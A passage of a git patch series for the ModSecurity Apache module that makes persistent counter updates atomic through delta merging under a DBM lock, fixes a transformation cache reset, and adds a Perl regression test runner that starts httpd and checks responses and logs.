+ } } +#if 0 + /* Re-populate the original values with the new ones. */ + if ((orig_col = (apr_table_t *)apr_table_get(g_msr->collections_original, te[n].key)) != NULL) { + const apr_array_header_t *orig_arr = apr_table_elts(orig_col); + apr_table_entry_t *orig_te = (apr_table_entry_t *)orig_arr->elts; + int m; + + for (m = 0; m < orig_arr->nelts; m++) { + msc_string *mstr = (msc_string *)apr_table_get(col, orig_te[m].key); + + if (g_msr->txcfg->debuglog_level >= 9) { + msr_log(g_msr, 9, "Updating original collection: %s.%s=%s", te[n].key, mstr->name, mstr->value); + } + //apr_table_setn(orig_col, orig_te[m].key, (void *)mstr ); + collection_original_setvar(g_msr, te[n].key, mstr); + + + } + } +#endif } + apr_table_clear(g_msr->collections_dirty); + apr_table_clear(g_msr->collections_original); } else { fprintf(stderr, "Unknown type: \"%s\"\n", type); From f394c6faa2725ab2beabc5918b92002cf8209da5 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Tue, 13 May 2008 00:05:02 +0000 Subject: [PATCH 024/110] Add atomic updates for persistent counters. See #20. --- CHANGES | 2 + apache2/modsecurity.c | 2 + apache2/modsecurity.h | 1 + apache2/persist_dbm.c | 151 ++++++++++++++++++++++++++++++++---------- apache2/re.h | 2 + apache2/re_actions.c | 75 ++++++++++++++++++++- 6 files changed, 198 insertions(+), 35 deletions(-) diff --git a/CHANGES b/CHANGES index c98b6f83..3c0a6fae 100644 --- a/CHANGES +++ b/CHANGES @@ -1,6 +1,8 @@ 09 May 2008 - trunk ------------------- +* Persistent counter updates are now atomic. + * Force modules "mod_rpaf-2.0.c" and "mod_custom_header.c" to run before ModSecurity so that the correct IP is used. diff --git a/apache2/modsecurity.c b/apache2/modsecurity.c index f1092eb1..4ec77d8e 100644 --- a/apache2/modsecurity.c +++ b/apache2/modsecurity.c @@ -302,6 +302,8 @@ apr_status_t modsecurity_tx_init(modsec_rec *msr) { msr->geo_vars = apr_table_make(msr->mp, 8); if (msr->geo_vars == NULL) return -1; + msr->collections_original = apr_table_make(msr->mp, 8); + if (msr->collections_original == NULL) return -1; msr->collections = apr_table_make(msr->mp, 8); if (msr->collections == NULL) return -1; msr->collections_dirty = apr_table_make(msr->mp, 8); diff --git a/apache2/modsecurity.h b/apache2/modsecurity.h index 6abe3601..343a5364 100644 --- a/apache2/modsecurity.h +++ b/apache2/modsecurity.h @@ -351,6 +351,7 @@ struct modsec_rec { int upload_remove_files; /* other */ + apr_table_t *collections_original; apr_table_t *collections; apr_table_t *collections_dirty; diff --git a/apache2/persist_dbm.c b/apache2/persist_dbm.c index 146a4e58..3d667675 100644 --- a/apache2/persist_dbm.c +++ b/apache2/persist_dbm.c @@ -31,17 +31,26 @@ static apr_table_t *collection_unpack(modsec_rec *msr, const unsigned char *blob var->name_len = (blob[blob_offset] << 8) + blob[blob_offset + 1]; if (var->name_len == 0) { - /* This should never happen as the length includes the terminating - * NUL and should be 1 for "" - */ - msr_log(msr, 4, "Possiblly corrupted database: var name length = 0 at blob offset %u-%u.", blob_offset, blob_offset + 1); + /* Is the length a name length, or just the end of the blob? */ + if (blob_offset < blob_size - 2) { + /* This should never happen as the name length + * includes the terminating NUL and should be 1 for "" + */ + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "BLOB[%d]: %s", blob_offset, log_escape_hex(msr->mp, blob + blob_offset, blob_size - blob_offset)); + } + msr_log(msr, 4, "Possibly corrupted database: var name length = 0 at blob offset %u-%u.", blob_offset, blob_offset + 1); + } break; } else if (var->name_len > 65536) { /* This should never happen as the length is restricted on store * to 65536. */ - msr_log(msr, 4, "Possiblly corrupted database: var name length > 65536 (0x%04x) at blob offset %u-%u.", var->name_len, blob_offset, blob_offset + 1); + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "BLOB[%d]: %s", blob_offset, log_escape_hex(msr->mp, blob + blob_offset, blob_size - blob_offset)); + } + msr_log(msr, 4, "Possibly corrupted database: var name length > 65536 (0x%04x) at blob offset %u-%u.", var->name_len, blob_offset, blob_offset + 1); break; } @@ -74,7 +83,7 @@ static apr_table_t *collection_unpack(modsec_rec *msr, const unsigned char *blob /** * */ -apr_table_t *collection_retrieve(modsec_rec *msr, const char *col_name, +static apr_table_t *collection_retrieve_ex(apr_sdbm_t *existing_dbm, modsec_rec *msr, const char *col_name, const char *col_key, int col_key_len) { char *dbm_filename = NULL; @@ -100,17 +109,19 @@ apr_table_t *collection_retrieve(modsec_rec *msr, const char *col_name, key.dptr = (char *)col_key; key.dsize = col_key_len + 1; - rc = apr_sdbm_open(&dbm, dbm_filename, APR_READ | APR_SHARELOCK, - CREATEMODE, msr->mp); - if (rc != APR_SUCCESS) { - return NULL; + if (existing_dbm == NULL) { + rc = apr_sdbm_open(&dbm, dbm_filename, APR_READ | APR_SHARELOCK, + CREATEMODE, msr->mp); + if (rc != APR_SUCCESS) { + return NULL; + } + } + else { + dbm = existing_dbm; } value = (apr_sdbm_datum_t *)apr_pcalloc(msr->mp, sizeof(apr_sdbm_datum_t)); rc = apr_sdbm_fetch(dbm, value, key); - - apr_sdbm_close(dbm); - if (rc != APR_SUCCESS) { msr_log(msr, 1, "Failed to read from DBM file \"%s\": %s", log_escape(msr->mp, dbm_filename), get_apr_error(msr->mp, rc)); @@ -130,6 +141,12 @@ apr_table_t *collection_retrieve(modsec_rec *msr, const char *col_name, col = collection_unpack(msr, (const unsigned char *)value->dptr, value->dsize, 1); if (col == NULL) return NULL; + /* We have to close *after* we use "value" from the fetch or the memory + * may be overwritten. */ + if (existing_dbm == NULL) { + apr_sdbm_close(dbm); + } + /* Remove expired variables. */ do { arr = apr_table_elts(col); @@ -168,18 +185,20 @@ apr_table_t *collection_retrieve(modsec_rec *msr, const char *col_name, * time. */ if (apr_table_get(col, "KEY") == NULL) { - rc = apr_sdbm_open(&dbm, dbm_filename, APR_CREATE | APR_WRITE | APR_SHARELOCK, - CREATEMODE, msr->mp); - if (rc != APR_SUCCESS) { - msr_log(msr, 1, "Failed to access DBM file \"%s\": %s", - log_escape(msr->mp, dbm_filename), get_apr_error(msr->mp, rc)); - return NULL; + if (existing_dbm == NULL) { + rc = apr_sdbm_open(&dbm, dbm_filename, APR_CREATE | APR_WRITE | APR_SHARELOCK, + CREATEMODE, msr->mp); + if (rc != APR_SUCCESS) { + msr_log(msr, 1, "Failed to access DBM file \"%s\": %s", + log_escape(msr->mp, dbm_filename), get_apr_error(msr->mp, rc)); + return NULL; + } + } + else { + dbm = existing_dbm; } rc = apr_sdbm_delete(dbm, key); - - apr_sdbm_close(dbm); - if (rc != APR_SUCCESS) { msr_log(msr, 1, "Failed deleting collection (name \"%s\", " "key \"%s\"): %s", log_escape(msr->mp, col_name), @@ -187,6 +206,11 @@ apr_table_t *collection_retrieve(modsec_rec *msr, const char *col_name, return NULL; } + + if (existing_dbm == NULL) { + apr_sdbm_close(dbm); + } + if (expired && (msr->txcfg->debuglog_level >= 9)) { msr_log(msr, 9, "Collection expired (name \"%s\", key \"%s\").", col_name, log_escape_ex(msr->mp, col_key, col_key_len)); } @@ -242,6 +266,15 @@ apr_table_t *collection_retrieve(modsec_rec *msr, const char *col_name, return col; } +/** + * + */ +apr_table_t *collection_retrieve(modsec_rec *msr, const char *col_name, + const char *col_key, int col_key_len) { + return collection_retrieve_ex(NULL, msr, col_name, col_key, col_key_len); +} + + /** * */ @@ -257,6 +290,8 @@ int collection_store(modsec_rec *msr, apr_table_t *col) { const apr_array_header_t *arr; apr_table_entry_t *te; int i; + const apr_table_t *stored_col = NULL; + const apr_table_t *orig_col = NULL; var_name = (msc_string *)apr_table_get(col, "__name"); if (var_name == NULL) { @@ -330,7 +365,35 @@ int collection_store(modsec_rec *msr, apr_table_t *col) { * convert back to table form */ - /* Calculate the size first. */ + rc = apr_sdbm_open(&dbm, dbm_filename, APR_CREATE | APR_WRITE | APR_SHARELOCK, + CREATEMODE, msr->mp); + if (rc != APR_SUCCESS) { + msr_log(msr, 1, "Failed to access DBM file \"%s\": %s", log_escape(msr->mp, dbm_filename), + get_apr_error(msr->mp, rc)); + return -1; + } + + /* We only need to lock so we can pull in the stored data again. */ + rc = apr_sdbm_lock(dbm, APR_FLOCK_EXCLUSIVE); + if (rc != APR_SUCCESS) { + msr_log(msr, 1, "Failed to exclusivly lock DBM file \"%s\": %s", log_escape(msr->mp, dbm_filename), + get_apr_error(msr->mp, rc)); + apr_sdbm_close(dbm); + return -1; + } + + /* If there is an original value, then we need to create a delta and + * apply the delta to the current value */ + orig_col = (const apr_table_t *)apr_table_get(msr->collections_original, var_name->value); + if (orig_col != NULL) { + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "Re-retrieving collection prior to store: %s", apr_psprintf(msr->mp, "%.*s", var_name->value_len, var_name->value)); + } + + stored_col = (const apr_table_t *)collection_retrieve_ex(dbm, msr, var_name->value, var_key->value, var_key->value_len); + } + + /* Merge deltas and calculate the size first. */ blob_size = 3 + 2; arr = apr_table_elts(col); te = (apr_table_entry_t *)arr->elts; @@ -338,6 +401,33 @@ int collection_store(modsec_rec *msr, apr_table_t *col) { msc_string *var = (msc_string *)te[i].val; int len; + /* If there is an original value, then we need to apply the delta + * to the latest stored value */ + if (stored_col != NULL) { + const msc_string *orig_var = (const msc_string *)apr_table_get(orig_col, var->name); + if (orig_var != NULL) { + const msc_string *stored_var = (const msc_string *)apr_table_get(stored_col, var->name); + if (stored_var != NULL) { + int origval = atoi(orig_var->value); + int ourval = atoi(var->value); + int storedval = atoi(stored_var->value); + int delta = ourval - origval; + int value = storedval + delta; + + if (value < 0) value = 0; /* Counters never go below zero. */ + + var->value = apr_psprintf(msr->mp, "%d", value); + var->value_len = strlen(var->value); + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "Delta applied for %s.%s %d->%d (%d): %d + (%d) = %d [%s,%d]", + log_escape_ex(msr->mp, var_name->value, var_name->value_len), + log_escape_ex(msr->mp, var->name, var->name_len), + origval, ourval, delta, storedval, delta, value, var->value, var->value_len); + } + } + } + } + len = var->name_len + 1; if (len >= 65536) len = 65536; blob_size += len + 2; @@ -401,24 +491,17 @@ int collection_store(modsec_rec *msr, apr_table_t *col) { value.dptr = (char *)blob; value.dsize = blob_size; - rc = apr_sdbm_open(&dbm, dbm_filename, APR_CREATE | APR_WRITE | APR_SHARELOCK, - CREATEMODE, msr->mp); - if (rc != APR_SUCCESS) { - msr_log(msr, 1, "Failed to access DBM file \"%s\": %s", log_escape(msr->mp, dbm_filename), - get_apr_error(msr->mp, rc)); - return -1; - } - rc = apr_sdbm_store(dbm, key, value, APR_SDBM_REPLACE); - - apr_sdbm_close(dbm); - if (rc != APR_SUCCESS) { msr_log(msr, 1, "Failed to write to DBM file \"%s\": %s", dbm_filename, get_apr_error(msr->mp, rc)); return -1; } + /* ENH: Do we need to unlock()? Or will just close() suffice? */ + apr_sdbm_unlock(dbm); + apr_sdbm_close(dbm); + if (msr->txcfg->debuglog_level >= 4) { msr_log(msr, 4, "Persisted collection (name \"%s\", key \"%s\").", log_escape_ex(msr->mp, var_name->value, var_name->value_len), log_escape_ex(msr->mp, var_key->value, var_key->value_len)); diff --git a/apache2/re.h b/apache2/re.h index dcc1e966..002f48e8 100644 --- a/apache2/re.h +++ b/apache2/re.h @@ -41,6 +41,8 @@ typedef struct msre_cache_rec msre_cache_rec; /* Actions, variables, functions and operator functions */ +apr_status_t DSOLOCAL collection_original_setvar(modsec_rec *msr, const char *col_name, const msc_string *orig_var); + int DSOLOCAL expand_macros(modsec_rec *msr, msc_string *var, msre_rule *rule, apr_pool_t *mptmp); apr_status_t DSOLOCAL msre_parse_targets(msre_ruleset *ruleset, const char *text, diff --git a/apache2/re_actions.c b/apache2/re_actions.c index 0e8c3d44..2de11d05 100644 --- a/apache2/re_actions.c +++ b/apache2/re_actions.c @@ -299,6 +299,64 @@ int expand_macros(modsec_rec *msr, msc_string *var, msre_rule *rule, apr_pool_t return 1; } +/** + * Record the original collection values to use to calculate deltas. + * This can be called multiple times and will not overwrite the first + * value that is set. + */ +apr_status_t collection_original_setvar(modsec_rec *msr, const char *col_name, const msc_string *orig_var) { + apr_table_t *table = NULL; + msc_string *var = NULL; + const char *var_name = NULL; + + if (orig_var == NULL) { + msr_log(msr, 1, "Internal Error: Attempt to record NULL original variable."); + return -1; + } + + var_name = orig_var->name; + table = (apr_table_t *)apr_table_get(msr->collections_original, col_name); + + /* Does the collection exist already? */ + if (table == NULL) { + table = apr_table_make(msr->mp, 24); + if (table == NULL) { + msr_log(msr, 1, "Failed to allocate space for original collection."); + return -1; + } + apr_table_setn(msr->collections_original, apr_pstrdup(msr->mp, col_name), (void *)table); + } + else { + /* Does the variable exist already? */ + var = (msc_string *)apr_table_get(table, var_name); + if (var != NULL) { + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "Original collection variable: %s.%s = \"%s\"", col_name, var_name, log_escape_ex(msr->mp, orig_var->value, orig_var->value_len)); + } + return 1; + } + } + + var = (msc_string *)apr_palloc(msr->mp, sizeof(msc_string)); + if (var == NULL) { + msr_log(msr, 1, "Failed to allocate space for original collection variable."); + return -1; + } + + /* Copy the original var and add to collection. */ + var->name = orig_var->name ? apr_pstrmemdup(msr->mp, orig_var->name, orig_var->name_len) : NULL; + var->name_len = orig_var->name_len; + var->value = orig_var->value ? apr_pstrmemdup(msr->mp, orig_var->value, orig_var->value_len) : NULL; + var->value_len = orig_var->value_len; + apr_table_setn(table, apr_pstrmemdup(msr->mp, var->name, var->name_len), (void *)var); + + if (msr->txcfg->debuglog_level >= 9) { + msr_log(msr, 9, "Recorded original collection variable: %s.%s = \"%s\"", col_name, var_name, log_escape_ex(msr->mp, var->value, var->value_len)); + } + + return 0; +} + /* id */ static apr_status_t msre_action_id_init(msre_engine *engine, msre_actionset *actionset, @@ -1186,11 +1244,16 @@ static apr_status_t msre_action_setvar_execute(modsec_rec *msr, apr_pool_t *mptm rec->name = apr_pstrdup(msr->mp, var_name); rec->name_len = strlen(rec->name); value = 0; + rec->value = apr_psprintf(msr->mp, "%d", value); + rec->value_len = strlen(rec->value); } else { value = atoi(rec->value); } + /* Record the original value before we change it */ + collection_original_setvar(msr, col_name, rec); + /* Expand values in value */ val->value = var_value; val->value_len = strlen(val->value); @@ -1463,6 +1526,7 @@ static apr_status_t init_collection(modsec_rec *msr, const char *real_col_name, const char *col_name, const char *col_key, unsigned int col_key_len) { apr_table_t *table = NULL; + msc_string *var = NULL; /* IMP1 Cannot initialise the built-in collections this way. */ @@ -1476,13 +1540,16 @@ static apr_status_t init_collection(modsec_rec *msr, const char *real_col_name, table = collection_retrieve(msr, real_col_name, col_key, col_key_len); if (table == NULL) { - msc_string *var = NULL; /* Does not exist yet - create new. */ msr_log(msr, 4, "Creating collection (name \"%s\", key \"%s\").", real_col_name, col_key); table = apr_table_make(msr->mp, 24); + if (table == NULL) { + msr_log(msr, 1, "Failed to allocate space for collection."); + return -1; + } /* IMP1 Is the timeout hard-coded to 3600? */ @@ -1559,6 +1626,12 @@ static apr_status_t init_collection(modsec_rec *msr, const char *real_col_name, apr_table_setn(table, var->name, (void *)var); } + /* Record the original counter value before we change it */ + var = (msc_string *)apr_table_get(table, "UPDATE_COUNTER"); + if (var != NULL) { + collection_original_setvar(msr, col_name, var); + } + /* Add the collection to the list. */ apr_table_setn(msr->collections, apr_pstrdup(msr->mp, col_name), (void *)table); From eb77be6e0e71bee421b186e3dde890f27a3e7bed Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Tue, 13 May 2008 00:09:18 +0000 Subject: [PATCH 025/110] Fixed issue where transformation cache used default (fixed in 2.5.4). --- apache2/re.c | 2 ++ 1 file changed, 2 insertions(+) diff --git a/apache2/re.c b/apache2/re.c index a5470253..47486f76 100644 --- a/apache2/re.c +++ b/apache2/re.c @@ -1939,7 +1939,9 @@ static apr_status_t msre_rule_process_normal(msre_rule *rule, modsec_rec *msr) { if (strcmp(action->param, "none") == 0) { apr_table_clear(normtab); tfnspath = NULL; + tfnskey = NULL; tfnscount = 0; + last_crec = NULL; last_cached_tfn = 0; continue; } From f90ffeb970afc1930338509c70aca8efe9a5956b Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Thu, 22 May 2008 00:21:37 +0000 Subject: [PATCH 026/110] Add the beginnings of a regression test suite. --- apache2/Makefile.in | 6 +- apache2/configure | 10 +- apache2/configure.in | 3 +- apache2/t/run-regression-tests.pl.in | 469 ++++++++++++++++++ .../{run-tests.pl.in => run-unit-tests.pl.in} | 0 5 files changed, 481 insertions(+), 7 deletions(-) create mode 100755 apache2/t/run-regression-tests.pl.in rename apache2/t/{run-tests.pl.in => run-unit-tests.pl.in} (100%) diff --git a/apache2/Makefile.in b/apache2/Makefile.in index 46de9ae6..a63f5c5b 100644 --- a/apache2/Makefile.in +++ b/apache2/Makefile.in @@ -76,7 +76,7 @@ clean: clean-extras @rm -rf *.la *.lo *.o *.slo .libs msc_test msc-test-debug.log maintainer-clean: clean - @rm -rf Makefile mlogc-src/Makefile t/run-tests.pl config config.log config.status configure mod_security2_config.h ../tools/*.pl autoscan.log configure.scan build/libtool.m4 build/config.guess build/config.sub build/ltmain.sh build/apxs-wrapper + @rm -rf Makefile mlogc-src/Makefile t/run-unit-tests.pl t/run-regression-tests.pl config config.log config.status configure mod_security2_config.h ../tools/*.pl autoscan.log configure.scan build/libtool.m4 build/config.guess build/config.sub build/ltmain.sh build/apxs-wrapper distclean: maintainer-clean @@ -123,8 +123,8 @@ msc_test: $(TESTOBJS) $(MOD_SECURITY2_H}) msc_test.lo done; \ $(LIBTOOL) --mode=link $(CC) $$objs -o msc_test msc_test.lo $(LDFLAGS) $(LIBS) $(APR_LINK_LD) $(APU_LINK_LD) -test: t/run-tests.pl msc_test +test: t/run-unit-tests.pl msc_test @rm -f msc-test-debug.log; \ - $(PERL) t/run-tests.pl + $(PERL) t/run-unit-tests.pl .PHONY: all install clean-extras clean maintainer-clean distclean install-mods test diff --git a/apache2/configure b/apache2/configure index 8d75934d..8f72816f 100755 --- a/apache2/configure +++ b/apache2/configure @@ -5726,7 +5726,9 @@ ac_config_files="$ac_config_files Makefile" ac_config_files="$ac_config_files build/apxs-wrapper" if test -e "$PERL"; then - ac_config_files="$ac_config_files t/run-tests.pl" + ac_config_files="$ac_config_files t/run-unit-tests.pl" + + ac_config_files="$ac_config_files t/run-regression-tests.pl" ac_config_files="$ac_config_files t/gen_rx-pm.pl" @@ -6298,7 +6300,8 @@ do "mod_security2_config.h") CONFIG_HEADERS="$CONFIG_HEADERS mod_security2_config.h" ;; "Makefile") CONFIG_FILES="$CONFIG_FILES Makefile" ;; "build/apxs-wrapper") CONFIG_FILES="$CONFIG_FILES build/apxs-wrapper" ;; - "t/run-tests.pl") CONFIG_FILES="$CONFIG_FILES t/run-tests.pl" ;; + "t/run-unit-tests.pl") CONFIG_FILES="$CONFIG_FILES t/run-unit-tests.pl" ;; + "t/run-regression-tests.pl") CONFIG_FILES="$CONFIG_FILES t/run-regression-tests.pl" ;; "t/gen_rx-pm.pl") CONFIG_FILES="$CONFIG_FILES t/gen_rx-pm.pl" ;; "t/csv_rx-pm.pl") CONFIG_FILES="$CONFIG_FILES t/csv_rx-pm.pl" ;; "../tools/rules-updater.pl") CONFIG_FILES="$CONFIG_FILES ../tools/rules-updater.pl" ;; @@ -6856,7 +6859,8 @@ echo "$as_me: $ac_file is unchanged" >&6;} case $ac_file$ac_mode in "build/apxs-wrapper":F) chmod +x build/apxs-wrapper ;; - "t/run-tests.pl":F) chmod +x t/run-tests.pl ;; + "t/run-unit-tests.pl":F) chmod +x t/run-unit-tests.pl ;; + "t/run-regression-tests.pl":F) chmod +x t/run-regression-tests.pl ;; "t/gen_rx-pm.pl":F) chmod +x t/gen_rx-pm.pl ;; "t/csv_rx-pm.pl":F) chmod +x t/csv_rx-pm.pl ;; "../tools/rules-updater.pl":F) chmod +x ../tools/rules-updater.pl ;; diff --git a/apache2/configure.in b/apache2/configure.in index 29875bc0..10c4d6ca 100644 --- a/apache2/configure.in +++ b/apache2/configure.in @@ -274,7 +274,8 @@ CHECK_CURL() AC_CONFIG_FILES([Makefile]) AC_CONFIG_FILES([build/apxs-wrapper], [chmod +x build/apxs-wrapper]) if test -e "$PERL"; then - AC_CONFIG_FILES([t/run-tests.pl], [chmod +x t/run-tests.pl]) + AC_CONFIG_FILES([t/run-unit-tests.pl], [chmod +x t/run-unit-tests.pl]) + AC_CONFIG_FILES([t/run-regression-tests.pl], [chmod +x t/run-regression-tests.pl]) AC_CONFIG_FILES([t/gen_rx-pm.pl], [chmod +x t/gen_rx-pm.pl]) AC_CONFIG_FILES([t/csv_rx-pm.pl], [chmod +x t/csv_rx-pm.pl]) diff --git a/apache2/t/run-regression-tests.pl.in b/apache2/t/run-regression-tests.pl.in new file mode 100755 index 00000000..460efb15 --- /dev/null +++ b/apache2/t/run-regression-tests.pl.in @@ -0,0 +1,469 @@ +#!/usr/bin/perl +#!@PERL@ +# +# Run regression tests. +# +# Syntax: run-regression-tests.pl [options] [file [N]] +# +# All: run-regression-tests.pl +# All in file: run-regression-tests.pl file +# Nth in file: run-regression-tests.pl file N +# +use strict; +use Time::HiRes qw(gettimeofday sleep); +use POSIX qw(WIFEXITED WEXITSTATUS WIFSIGNALED WTERMSIG); +use File::Spec qw(rel2abs); +use File::Basename qw(basename dirname); +use FileHandle; +use IPC::Open2 qw(open2); +use IPC::Open3 qw(open3); +use Getopt::Std; +use Data::Dumper; +use IO::Socket; +use LWP::UserAgent; + +my @TYPES = qw(config target rule); +my $SCRIPT = basename($0); +my $SCRIPT_DIR = File::Spec->rel2abs(dirname($0)); +my $REG_DIR = "$SCRIPT_DIR/regression"; +my $SROOT_DIR = "$REG_DIR/server_root"; +my $CONF_DIR = "$SROOT_DIR/conf"; +my $LOGS_DIR = "$SROOT_DIR/logs"; +my $PASSED = 0; +my $TOTAL = 0; +my %C = (); +my %LOG = (); +my $UA = LWP::UserAgent->new; +$UA->agent("ModSecurity Regression Tests/1.2.3"); + +my %opt; +getopts('A:E:D:C:T:H:a:p:dh', \%opt); + +if ($opt{D}) { + $Data::Dumper::Indent = 1; + $Data::Dumper::Terse = 1; + $Data::Dumper::Pad = ""; + $Data::Dumper::Quotekeys = 0; +} + +sub usage { + print stderr <<"EOT"; +@_ +Usage: $SCRIPT [options] [file [N]] + + Options: + -A file Specify ModSecurity audit log to read. + -D file Specify ModSecurity debug log to read. + -E file Specify Apache httpd error log to read. + -C file Specify Apache httpd base conf file to generate/reload. + -H path Specify Apache httpd htdocs path. + -S path Specify Apache httpd server root path. + -a file Specify Apache httpd binary (default: httpd) + -p port Specify Apache httpd port (default: 8088) + -d Enable debugging. + -h This help. + +EOT + + exit(1); +} + +usage() if ($opt{h}); + +### Check startup script +$opt{a} = "apachectl" unless (defined $opt{a}); +usage("Invalid Apache startup script: $opt{a}\n") unless (-e $opt{a}); + +### Defaults +$opt{A} = "$LOGS_DIR/modsec_audit.log" unless (defined $opt{A}); +$opt{D} = "$LOGS_DIR/modsec_debug.log" unless (defined $opt{D}); +$opt{E} = "$LOGS_DIR/error.log" unless (defined $opt{E}); +$opt{C} = "$CONF_DIR/httpd.conf" unless (defined $opt{C}); +$opt{H} = "$SROOT_DIR/htdocs" unless (defined $opt{H}); +$opt{p} = 8088 unless (defined $opt{p}); + +%ENV = ( + %ENV, + SERVER_ROOT => $opt{S}, + SERVER_PORT => $opt{p}, + SERVER_NAME => "localhost", + TEST_SERVER_ROOT => $SROOT_DIR, + LOGS_DIR => $LOGS_DIR, + SCRIPT_DIR => $SCRIPT_DIR, + REGRESSION_DIR => $REG_DIR, + DIST_ROOT => File::Spec->rel2abs(dirname("$SCRIPT_DIR/../../..")), + AUDIT_LOG => $opt{A}, + DEBUG_LOG => $opt{D}, + ERROR_LOG => $opt{E}, + HTTPD_CONF => $opt{C}, + HTDOCS => $opt{H}, +); + +unless (defined $opt{S}) { + my $httpd_root = `$opt{a} -V`; + ($opt{S} = $httpd_root) =~ s/.*-D HTTPD_ROOT="([^"]*)".*/$1/sm; +} + +dbg("OPTIONS: ", \%opt); + +msg("Attempting to stop any already running regression tests instances..."); +httpd_stop(); + +if (defined $ARGV[0]) { + runfile(dirname($ARGV[0]), basename($ARGV[0]), $ARGV[1]); + done(); +} + +for my $type (sort @TYPES) { + my $dir = "$SCRIPT_DIR/regression/$type"; + my @cfg = (); + + # Get test names + opendir(DIR, "$dir") or quit(1, "Failed to open \"$dir\": $!"); + @cfg = grep { /\.t$/ && -f "$dir/$_" } readdir(DIR); + closedir(DIR); + + for my $cfg (sort @cfg) { + runfile($dir, $cfg); + } + +} +done(); + + +sub runfile { + my($dir, $cfg, $testnum) = @_; + my $fn = "$dir/$cfg"; + my @data = (); + my $edata; + my @C = (); + my @test = (); + my $teststr; + my $n = 0; + my $pass = 0; + + open(CFG, "<$fn") or quit(1, "Failed to open \"$fn\": $!"); + @data = <CFG>; + + $edata = q/@C = (/ . join("", @data) . q/)/; + eval $edata; + quit(1, "Failed to read test data \"$cfg\": $@") if ($@); + + unless (@C) { + msg("\nNo tests defined for $fn"); + return; + } + + msg("\nLoaded ".@C." tests from $fn"); + for my $t (@C) { + $n++; + next if (defined $testnum and $n != $testnum); + + my $httpd_up = 0; + my %t = %{$t || {}}; + my $id = sprintf("%6d %s", $n); + my $out = ""; + my $rc = 0; + my $conf_fn; + + # Startup httpd with optionally included conf. + if (exists $t{conf} and defined $t{conf}) { + $conf_fn = sprintf "%s/%s_%s_%06d.conf", + $CONF_DIR, $t{type}, $cfg, $n; +# dbg("Writing test config to: $conf_fn"); + open(CONF, ">$conf_fn") or die "Failed to open conf \"$conf_fn\": $!\n"; + print CONF (ref $t{conf} eq "CODE" ? &{$t{conf}} : $t{conf}); + close CONF; + $httpd_up = httpd_start("Include $conf_fn") ? 0 : 1; + } + else { + $httpd_up = httpd_start() ? 0 : 1; + } + + if ($httpd_up) { + # Perform the request + if (exists $t{request}) { + my $resp = do_request($t{request}); + if (!$resp) { + msg("invalid response"); + dbg("RESPONSE: ", $resp); + $rc = 1; + } + elsif (exists $t{match_response}{status}) { + unless ($resp->code =~ m/$t{match_response}{status}/) { + msg("incorrect status code " . $resp->code . ": $t{match_response}{status}"); + $rc = 1; + } + } + } + + # Search for all log matches + if ($rc == 0 and exists $t{match_log} and defined $t{match_log}) { + for my $mtype (keys %{ $t{match_log} || {}}) { + my $m = $t{match_log}{$mtype}; + unless (defined log_read_match($mtype, @{$m || []})) { + $rc = 1; + msg("$mtype log match failed: $m->[0]"); + last; + } + } + } + } + + if ($rc == 0) { + $pass++; + } + else { + dbg("Test config: $conf_fn"); + } + + msg(sprintf("%s) %s%s: %s%s", $id, $t{type}, (exists($t{comment}) ? " - $t{comment}" : ""), ($rc ? "failed" : "passed"), ((defined($out) && $out ne "")? " ($out)" : ""))); + + if ($httpd_up) { + $httpd_up = httpd_stop() ? 0 : 1; + } + + } + + $TOTAL += $testnum ? 1 : $n; + $PASSED += $pass; + + msg(sprintf("Passed: %2d; Failed: %2d", $pass, $testnum ? (1 - $pass) : ($n - $pass))); +} + +sub do_request { + my $r = $_[0]; + + # Allow test to execute code + if (ref $r eq "CODE") { + $r = &$r; + } + + if (ref $r eq "HTTP::Request") { +# dbg("REQUEST: ", $r); + return $UA->request($r); + } + else { + # TODO: send a raw request via IO::Socket and + # return HTTP::Request->parse($response_string) + } + + return; +} + +sub log_read_match { + my($name, $re, $timeout) = @_; + my $t0 = gettimeofday(); + my($fh,$rbuf) = ($LOG{$name}{fd}, \$LOG{$name}{buf}); + my $n = length($$rbuf); + + $timeout = 0 unless (defined $timeout); + + do { + $n += $fh->sysread($$rbuf, 1024, $n); +# dbg("Match \"$re\" in \"$$rbuf\" ($n)"); + return $@ if ($$rbuf =~ m/$re/m); + # TODO: Use select()/poll() + sleep 0.1; + } while (gettimeofday - $t0 < $timeout); + + return undef; +} + +sub escape { + my @new = (); + for my $c (split(//, $_[0])) { + push @new, ((ord($c) >= 0x20 and ord($c) <= 0x7e) ? $c : sprintf("\\x%02x", ord($c))); + } + join('', @new); +} + +sub dbg { + return unless(@_ and $opt{d}); + my $out = join "", map { + (ref $_ ne "" ? Dumper($_) : $_) + } @_; + $out =~ s/^/DBG: /s; + print STDOUT "$out\n"; +} + +sub msg { + print STDOUT "@_\n" if (@_); +} + +sub quit { + my($ec,$msg) = @_; + $ec = 0 unless (defined $_[0]); + + msg("$msg") if (defined $msg); + + msg("Attempting to stop any regression tests instance still running..."); + httpd_stop(); + + exit $ec; +} + +sub done { + if ($PASSED != $TOTAL) { + quit(1, "\n$PASSED/$TOTAL tests passed."); + } + + quit(0, "\nAll tests passed ($TOTAL)."); +} + +sub httpd_start { + httpd_reset_logs(); + my @p = ( + $opt{a}, + -d => $opt{S}, + -f => $opt{C}, + (map { (-c => $_) } ("Listen $opt{p}", @_)), + -k => "start", + ); + + #dbg("EXEC: ", \@p); +# dbg("Httpd start"); + + my $httpd_out; + my $httpd_pid = open3(undef, $httpd_out, undef, @p) or quit(1); + my $out = join("\\n", split(/\n/, <$httpd_out>)); + close $httpd_out; + waitpid($httpd_pid, 0); + + if (defined $out and $out ne "") { + msg("Httpd start failed with error messages:\n$out"); + return -1 + } + + my $rc = $?; + if ( WIFEXITED($rc) ) { + $rc = WEXITSTATUS($rc); +# dbg("Httpd start returned with $rc."); + } + elsif( WIFSIGNALED($rc) ) { + msg("Httpd start failed with signal " . WTERMSIG($rc) . "."); + $rc = -1; + } + else { + msg("Httpd start failed with unknown error."); + $rc = -1; + 